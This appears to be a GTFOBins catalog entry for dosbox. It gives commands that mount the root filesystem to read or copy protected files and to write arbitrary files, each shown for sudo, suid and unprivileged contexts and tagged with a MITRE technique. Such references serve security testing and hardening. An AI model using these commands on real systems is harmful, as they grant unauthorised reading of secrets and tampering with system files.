Catalog GTFOBins

GTFO · Tool

dosbox

9 techniques LinuxGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation Linux

The file content will be displayed in the DOSBox graphical window.

dosbox -c 'mount c /' -c 'type c:\path\to\input'
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

The file content will be displayed in the DOSBox graphical window.

dosbox -c 'mount c /' -c 'type c:\path\to\input'
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read Linux

The file content will be displayed in the DOSBox graphical window.

dosbox -c 'mount c /' -c 'type c:\path\to\input'
Context
unprivileged
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

The file is copied to a readable location.

dosbox -c 'mount c /' -c 'copy c:\path\to\input c:\path\to\output' -c exit
cat /path/to/OUTPUT
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

The file is copied to a readable location.

dosbox -c 'mount c /' -c 'copy c:\path\to\input c:\path\to\output' -c exit
cat /path/to/OUTPUT
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read Linux

The file is copied to a readable location.

dosbox -c 'mount c /' -c 'copy c:\path\to\input c:\path\to\output' -c exit
cat /path/to/OUTPUT
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation Linux

Note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.

dosbox -c 'mount c /' -c "echo DATA >c:\path\to\output" -c exit
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation Linux

Note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.

dosbox -c 'mount c /' -c "echo DATA >c:\path\to\output" -c exit
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write Linux

Note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.

dosbox -c 'mount c /' -c "echo DATA >c:\path\to\output" -c exit
Context
unprivileged
Native
file-write
MITRE
T1565